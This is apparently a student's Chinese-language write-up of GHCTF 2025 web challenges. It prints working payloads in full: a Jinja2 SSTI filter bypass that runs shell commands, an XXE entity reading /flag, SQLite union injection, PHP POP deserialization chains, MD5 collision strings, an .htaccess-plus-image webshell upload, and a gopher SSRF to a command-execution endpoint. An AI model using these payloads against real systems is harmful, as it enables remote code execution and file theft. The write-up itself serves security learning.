upload?SSTI!
打开附件看看,发现只能上传txt,log,text,md,jpg,png,gif文件,过滤了_,,os__builtins__,subclasses,globals ,flag这几个
先试一下有没有回显
打开文件路径
查看有回显。说明上传成功了
之前在寒假学习中,经过高人指点,fenjing上有一个用法
所以直接把那几个拉进黑名单里
跑出来一个playload
1 {% set ao = lipsum | escape | batch(22) | first | last %} {{ ((lipsum[ao+ao+'globals'+ao+ao][ao+ao+'builtins'+ao+ao][ao+ao+'import'+ao+ao]('os')).popen('cat /flag')).read() }}
直接交看文件就行
>(>﹏<) 这一题感谢高人指点,要不,我什么都做不到……
进去发现是一段flack代码
在源代码这里他会整理一下
审计一下代码发现在这个页面它会把代码显现出来,而在/ghctf中它才是我们传入playload的界面
而在这个页面下先用post传参,用xml来接收并打印出来。
如果xml没有参数,那么就返回System is safe
如果有的话进入下一步:
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
先是创建一个XML解释器对象,并配置其行为:(load_dtd=True, resolve_entities=True)
load_did=True:允许解释器加载外部DTD(文档类型定义)文件。
其中DVD用于定义XML文档的结构与实体。如果XML包含<!DOCTYPE[…]>声明,解释器会尝试加载指定外部的DVD文件(如 SYSTEM"https://~~~~")
resolve_entities=True:允许解析XML实体(如&xxe;)
其中实体可以是预定义实体(如%lt; 表示<)、自定义内部实体(如)、或外部实体(如)
root = etree.fromstring(xml, parser)
使用配置的parser解析传入的XML字符串xml,生成一个XML树对象root
解析器读取XML字符串,并验证其格式
若存在<!DOCTYPE>声明且load_did=True,加载外部DVD
若存在实体且resolve_entities=True,解析并替换所有实体(如把&xxe;换成文件内容)
将解析后的XML转化为树状结构,root是根节点
name=root.find(‘name’).text
从XML树中找一个名为name的直接子元素,并获取其文件内容
root.find(‘name’):使用ElementTree的find()方法,按标签名name搜索直接子元素。注意,它仅匹配直接子节点,区分大小写,且不支持XPath表达式
return name or None
返回标签里的值或者什么都不返回
刚才上文提到使用post来传参的,先用一个简单的xml=Hello 试一下有没有回显
发现有回显,所以可以构造playload了:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <root> <name>&xxe;</name> </root>
直接上传不行,url编码一下得到
xml=%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C%21DOCTYPE%20data%20%5B%0A%
20%20%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%3E%0A%5D%3E%0A%3Croot%3E%0A%20%20%3Cname%3E%26xxe%3B%3C%2Fname%3E%0A%3C%2Froot%3E
大功告成:
[GHCTF 2025]SQL??? 学习文章:
GHCTF2025-WEB新手向(?)解析-SQL???
SQLite 数据库注入总结
WEB渗透Web突破篇-SQL注入(SQLite)
SQLite sqlite_master
判断回显显位数
6就不行了,所以是5位
成功显示
union select 1,2,3,4,sql from sqlite_master
其中sqlite_master 是 SQLite 数据库的系统表(类似于其他数据库的 information_schema),它存储了当前数据库中所有对象的元数据(如表、索引、视图、触发器等)。其结构如下:
点击图片可查看完整电子表格
sql 是 sqlite_master 表中的一列,记录了创建数据库对象(如表、索引)时使用的 原始SQL语句。通过查询此字段,攻击者可以获取以下信息:
表结构:例如 CREATE TABLE users(id INT, name TEXT, password TEXT),直接泄露字段名。
索引和约束:了解数据库的索引策略。
敏感逻辑:如触发器中可能包含的业务逻辑。
成功找到表和列名,直接查就行
Popppppp 先找入口,发现这里都是原生函数,并且这上面的$arg1,$day1什么的,应该就是链尾了。一般来说,针对反序列化的题目,一定要把链尾找到,所谓的链尾,就是我们实现恶意代码的地方。
该函数的魔术方法是__get(),从访问不可访问或不存在的数据就会触发__get()魔术方法
目前的链子:Mystery{__get()}
仔细看了以下源码,发现Philosopher中hey是不存在的值,所以就会触发__get()方法,此处有发现了__invoke()魔术方法,__invoke()方法是尝试将对象调用为函数时触发这个魔术方法
目前的链子:Philosopher{__invoke()}->Mystery{__get()}
在Warlord发现function原本是变量,但是被当成函数了,所以就触发了__invoke()方法,在此处又发现了__call()魔术方法,当对象访问⼀个不存在的方法,或者不可访问的方法时候触发
目前的链子:Warlord{__call()}->Philosopher{__invoke()}->Mystery{__get()}
看了一遍发现Samurai中的add()比较奇怪,是个不存在的函数或魔术方法,自然就会触发__call魔术方法
在其中还有__toString魔术方法以及__set()魔术方法,
目前的链子:Samurai{__toString}->Warlord{__call()}->Philosopher{__invoke()}->Mystery{__get()}
__toString是在对象(指实例化类的变量)被当成字符串调用的时候触发//echo,
__set()是在动态设置不可访问的属性时或未定义的属性时被调用
在CherryBlossom中就找到了,把fruit1当作了字符串,所以就会触发__toString魔术方法,
其中还有__distruct魔术方法。至此,一条pop链就很清晰了
链子:CherryBlossom{__distruct}->Samurai{__toString}->Warlord{__call()}->Philosopher{__invoke()}->Mystery{__get()}
接下来就是进行绕过双重md5了
1 2 3 4 5 6 7 8 9 10 class Philosopher { public $fruit10 ; public $fruit11 ="sr22kaDugamdwTPhG5zU" ; public function __invoke ( ) { if (md5 (md5 ($this ->fruit11)) == 666 ) { return $this ->fruit10->hey; } } }
AI写的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import multiprocessingimport hashlibimport randomimport stringimport sysTARGET_SUBSTR = "666" START_POS = 0 RAND_STR_LEN = 20 CHARS = string.ascii_letters + string.digits def cmp_md5 (stop_event ): global CHARS, TARGET_SUBSTR, START_POS, RAND_STR_LEN str_len = len (TARGET_SUBSTR) while not stop_event.is_set(): rnds = '' .join(random.choice(CHARS) for _ in range (RAND_STR_LEN)) m1 = hashlib.md5(rnds.encode('utf-8' )) hex1 = m1.hexdigest() if hex1[START_POS:START_POS+str_len] == TARGET_SUBSTR: digest1 = m1.digest() m2 = hashlib.md5(digest1) hex2 = m2.hexdigest() if hex2[START_POS:START_POS+str_len] == TARGET_SUBSTR: print (f"[Found] 原始字符串: {rnds} " ) print (f"第一次MD5: {hex1} " ) print (f"第二次MD5: {hex2} \n" ) stop_event.set () if __name__ == '__main__' : print ("开始碰撞双重MD5..." ) print (f"目标特征: '{TARGET_SUBSTR} ' (起始位置: {START_POS} )" ) print (f"随机字符串长度: {RAND_STR_LEN} " ) print ("按 Ctrl+C 可提前终止\n" ) cpus = multiprocessing.cpu_count() stop_event = multiprocessing.Event() processes = [multiprocessing.Process(target=cmp_md5, args=(stop_event,)) for _ in range (cpus)] for p in processes: p.start() for p in processes: p.join()
GlobIterator是遍历一个文件系统行为,用这个来遍历显示文件,从而找到flag
GlobIterator 类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 ?php error_reporting (0 ); class CherryBlossom { public $fruit1 ; public $fruit2 ; function __destruct ( ) { echo $this ->fruit1; } public function __toString ( ) { $newFunc = $this ->fruit2; return $newFunc (); } } class Mystery { public $GlobIterator ="/*" ; public function __get ($arg1 ) { array_walk ($this , function ($day1 , $day2 ) { $day3 = new $day2 ($day1 ); foreach ($day3 as $day4 ) { echo ($day4 . '<br>' ); } }); } } class Philosopher { public $fruit10 ; public $fruit11 ="rSYwGEnSLmJWWqkEARJp" ; public function __invoke ( ) { if (md5 (md5 ($this ->fruit11)) == 666 ) { return $this ->fruit10->hey; } } } $b =new CherryBlossom ();$b ->fruit1=new CherryBlossom ();$b ->fruit1->fruit2=new Philosopher ();$b ->fruit1->fruit2->fruit10=new Mystery ();$c =serialize ($b );echo $c ;
1 ?GHCTF=O:13:"CherryBlossom":2:{s:6:"fruit1";O:13:"CherryBlossom":2:{s:6:"fruit1";N;s:6:"fruit2";O:11:"Philosopher":2:{s:7:"fruit10";O:7:"Mystery":1:{s:12:"GlobIterator";s:2:"/*";}s:7:"fruit11";s:20:"rSYwGEnSLmJWWqkEARJp";}}s:6:"fruit2";N;}
SplFileObject 类为文件提供了一个面向对象接口,直接读取flag
SplFileObject类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php error_reporting (0 ); class CherryBlossom { public $fruit1 ; public $fruit2 ; function __destruct ( ) { echo $this ->fruit1; } public function __toString ( ) { $newFunc = $this ->fruit2; return $newFunc (); } } class Mystery { public $SplFileObject ="/flag44545615441084" ; public function __get ($arg1 ) { array_walk ($this , function ($day1 , $day2 ) { $day3 = new $day2 ($day1 ); foreach ($day3 as $day4 ) { echo ($day4 . '<br>' ); } }); } } class Philosopher { public $fruit10 ; public $fruit11 ="rSYwGEnSLmJWWqkEARJp" ; public function __invoke ( ) { if (md5 (md5 ($this ->fruit11)) == 666 ) { return $this ->fruit10->hey; } } } $b =new CherryBlossom ();$b ->fruit1=new CherryBlossom ();$b ->fruit1->fruit2=new Philosopher ();$b ->fruit1->fruit2->fruit10=new Mystery ();$c =serialize ($b );echo $c ;
1 ?GHCTF=O:13:"CherryBlossom":2:{s:6:"fruit1";O:13:"CherryBlossom":2:{s:6:"fruit1";N;s:6:"fruit2";O:11:"Philosopher":2:{s:7:"fruit10";O:7:"Mystery":1:{s:13:"SplFileObject";s:19:"/flag44545615441084";}s:7:"fruit11";s:20:"rSYwGEnSLmJWWqkEARJp";}}s:6:"fruit2";N;}
ez_readfile 题目是a和b原来的值不相等而md5的值相等
所以使用fastcoll来跑
绕过成功
看了wp:在php出题模版中,有⼀个容器启动命令文件docker-entrypoint.sh。可以看到该命令⽂件在容器初
始化后就会被删掉。但是在提交⽣成镜像后,由镜像⽣成容器⼜需要运⾏该⽂件。因此有的出题者为了
⽅便可能就不删除该⽂件,这时候就可以碰碰运⽓,看看出题者有没有把这个⽂件删掉。没有删掉,就
能够获取路径。
所以接下来对docker-entrypoint.sh入手,成功
访问
1 file=/f1wlxekj1lwjek1lkejzs1lwje1lwesjk1wldejlk1wcejl1kwjelk1wjcle1jklwecj1lkwcjel1kwjel1cwjl1jwlkew1jclkej1wlkcj1lkwej1lkcwjellag
得到flag
看了一份大佬的wp,这两个字符串也能达到同样的效果,学到了
1 2 a=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak b=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
学到了学到了
UPUPUP 参考文章:GHCTF2025-WEB新手向详解-UP UP UP!
进入靶场
先爆破一下可以使用的文件其中GIF89a,是常见的图片文件幻术头GIF89a
几个示例下来发现php,phpml是不行的并且不区分大小写,也就是说直接上传一句话木马的php文件是不行的,而jpg,html文件是可行的,之后又加了.png和.htaccess文件都能成功,所以接下来从这个思路入手。
所以编辑.htaccess文件
写upload.jpg文件
分别在靶场上传.htaccess和upload.jpg(改包上传也行),之后访问upload.jpg检查是否成功
若出现这样的界面出现php报错,说明这个php代码已经执行成功了,这样也就上传成功了,可以蚁剑连接了
hhhhhh,这些爆破测试用的文件都在这里
找到flag
学到的知识(早读在背了):
GIF89a的知识:
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。GIF89a是 GIF 动画和透明效果的技术基础,它的存在表明文件支持更高级的功能。
攻击者可在恶意文件(如 PHP、HTML、SSRF Payload)开头插入GIF89a头,伪装成合法 GIF 文件,绕过文件类型检测,以达到攻击的目的
关于.htaccess文件(deepseek生成):
在 CTF Web 题目中,.htaccess文件是 Apache 服务器的配置文件,通常用于控制目录级别的服务器行为。攻击者可通过篡改或上传该文件实现 权限绕过、代码执行、路径劫持 等攻击。以下是其核心作用及典型利用场景:
重写 URL(Rewrite Rules):通过 RewriteEngine 和 RewriteRule 修改请求路径,常用于隐藏真实文件路径或实现伪静态化。
设置文件类型解析:使用 AddType 或 AddHandler 强制服务器将特定文件(如 .jpg)解析为动态脚本(如 PHP)。
权限控制:限制目录访问(Deny/Allow)、IP 过滤、密码保护等。
自定义错误页面:通过 ErrorDocument 定义错误响应(如 404 页面)。
包含其他文件:利用 php_value auto_prepend_file 包含恶意代码。
.xbm和.wbmp文件幻术头为.htaccess的注释符的检测绕过:
php 文件上传.htaccess getimagesize和exif_imagetype绕过
.htaccess中的注释符有: \x00 和 #,而有两种不常见的图片类型文件.xbm和.wbmp,其文件幻术头正是以这些注释符作为开头。
.xbm图片的文件幻术头为:
#define width 1337
#define height 1337
.wbmp图片的文件幻术头为:
\x00\x00\x85\x85 或者 \x00\x00\x8a\x39\x8a\x39
[GHCTF 2025]Goph3rrr
扫目录
有个app.py的目录
下载了一个文件
wc一堆base64
尝试解码,但是失败了,分析一下,前面的PNG应该代表这是一个由base64进行编码的二进制图片吧就是靶场显示的那张,我猜的
试着本地运行一下
确实
审计app.py代码
flask框架
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from flask import Flask, request, send_file, render_template_stringimport osfrom urllib.parse import urlparse, urlunparseimport subprocessimport socketimport hashlibimport base64import randomapp = Flask(__name__) BlackList = [ "127.0.0.1" ] if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8000 )
下载app.py
1 2 3 @app.route('/app.py' ) def download_source (): return send_file(__file__, as_attachment=True )
根目录,生成图片,原base64编码的就不写了,省空间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 @app.route('/') def index(): return ''' <html > <head > <style > body { background-image: url('data:image/png;base64, //[原base64,为了省空间就不写了] ); /* 背景图像 */ background-size: cover; /* 背景图片覆盖整个页面 */ height: 100vh; /* 页面高度填满浏览器窗�? */ display: flex; justify-content: center; /* 水平居中 */ align-items: center; /* 垂直居中 */ color: white; /* 字体颜色 */ font-family: Arial, sans-serif; /* 字体 */ text-align: center; /* 文字居中 */ } h1 { font-size: 50px; transition: transform 0.2s ease-in-out; /* 设置浮动效果过渡时间 */ } h1:hover { transform: translateY(-10px); /* 向上浮动 */ } </style > </head > <body > <h1 > Hello Ctfer!!! Welcome to the GHCTF challenge! (≧∇�?)</h1 > </body > </html > '''
/Login,判断username和passward,不重要
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 @app.route('/Login' , methods=['GET' , 'POST' ] ) def login (): junk_code() if request.method == 'POST' : username = request.form.get('username' ) password = request.form.get('password' ) if username in users and users[username]['password' ] == hashlib.md5(password.encode()).hexdigest(): return b64e(f"Welcome back, {username} !" ) return b64e("Invalid credentials!" ) return render_template_string(""" <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background-color: #f8f9fa; } .container { max-width: 400px; margin-top: 100px; } .card { border: none; border-radius: 10px; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); } .card-header { background-color: #007bff; color: white; text-align: center; border-radius: 10px 10px 0 0; } .btn-primary { background-color: #007bff; border: none; } .btn-primary:hover { background-color: #0056b3; } </style> </head> <body> <div class="container"> <div class="card"> <div class="card-header"> <h3>Login</h3> </div> <div class="card-body"> <form method="POST"> <div class="mb-3"> <label for="username" class="form-label">Username</label> <input type="text" class="form-control" id="username" name="username" required> </div> <div class="mb-3"> <label for="password" class="form-label">Password</label> <input type="password" class="form-control" id="password" name="password" required> </div> <button type="submit" class="btn btn-primary w-100">Login</button> </form> </div> </div> </div> </body> </html> """ )
/Upload,判断username,上传文件,不重要
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 @app.route('/Upload' , methods=['GET' , 'POST' ] ) def upload_avatar (): junk_code() if request.method == 'POST' : username = request.form.get('username' ) if username not in users: return b64e("User not found!" ) file = request.files.get('avatar' ) if file: file.save(os.path.join(avatar_dir, f"{username} .png" )) return b64e("Avatar uploaded successfully!" ) return b64e("No file uploaded!" ) return render_template_string(""" <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Upload Avatar</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background-color: #f8f9fa; } .container { max-width: 400px; margin-top: 100px; } .card { border: none; border-radius: 10px; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); } .card-header { background-color: #dc3545; color: white; text-align: center; border-radius: 10px 10px 0 0; } .btn-danger { background-color: #dc3545; border: none; } .btn-danger:hover { background-color: #c82333; } </style> </head> <body> <div class="container"> <div class="card"> <div class="card-header"> <h3>Upload Avatar</h3> </div> <div class="card-body"> <form method="POST" enctype="multipart/form-data"> <div class="mb-3"> <label for="username" class="form-label">Username</label> <input type="text" class="form-control" id="username" name="username" required> </div> <div class="mb-3"> <label for="avatar" class="form-label">Avatar</label> <input type="file" class="form-control" id="avatar" name="avatar" required> </div> <button type="submit" class="btn btn-danger w-100">Upload</button> </form> </div> </div> </div> </body> </html> """ )
还是判断username和password,不重要
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 @app.route('/RRegister' , methods=['GET' , 'POST' ] ) def register (): junk_code() if request.method == 'POST' : username = request.form.get('username' ) password = request.form.get('password' ) if username in users: return b64e("Username already exists!" ) users[username] = {'password' : hashlib.md5(password.encode()).hexdigest()} return b64e("Registration successful!" ) return render_template_string(""" <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Register</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background-color: #f8f9fa; } .container { max-width: 400px; margin-top: 100px; } .card { border: none; border-radius: 10px; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); } .card-header { background-color: #28a745; color: white; text-align: center; border-radius: 10px 10px 0 0; } .btn-success { background-color: #28a745; border: none; } .btn-success:hover { background-color: #218838; } </style> </head> <body> <div class="container"> <div class="card"> <div class="card-header"> <h3>Register</h3> </div> <div class="card-body"> <form method="POST"> <div class="mb-3"> <label for="username" class="form-label">Username</label> <input type="text" class="form-control" id="username" name="username" required> </div> <div class="mb-3"> <label for="password" class="form-label">Password</label> <input type="password" class="form-control" id="password" name="password" required> </div> <button type="submit" class="btn btn-success w-100">Register</button> </form> </div> </div> </div> </body> </html> """ )
/Manage,典型的SSRF,我们需要本地127.0.0.1并且是POST传入cmd,在os模块中执行命令
1 2 3 4 5 6 7 8 @app.route('/Manage' , methods=['POST' ] ) def cmd (): if request.remote_addr != "127.0.0.1" : return "Forbidden!!!" if request.method == "GET" : return "Allowed!!!" if request.method == "POST" : return os.popen(request.form.get("cmd" )).read()
/Gopher,题目和这个Gopher提示的很明显了,重点就在这里.
这里需要传入一个url
1 2 3 4 5 6 7 8 9 10 11 @app.route('/Gopher' ) def visit (): url = request.args.get('url' ) if url is None : return "No url provided :)" url = urlparse(url) realIpAddress = socket.gethostbyname(url.hostname) if url.scheme == "file" or realIpAddress in BlackList: return "No (≧∇�?)" result = subprocess.run(["curl" , "-L" , urlunparse(url)], capture_output=True , text=True ) return result.stdout
先从/Manage的路由抓一个包,看看环境变量,
先构造
1 2 3 4 5 6 POST /Manage HTTP/1.1 Host:127.0.0.1 Content-Type:application/x-www-form-urlencoded Content-Length:7 cmd = env
url两次编码:
发包即可得到flag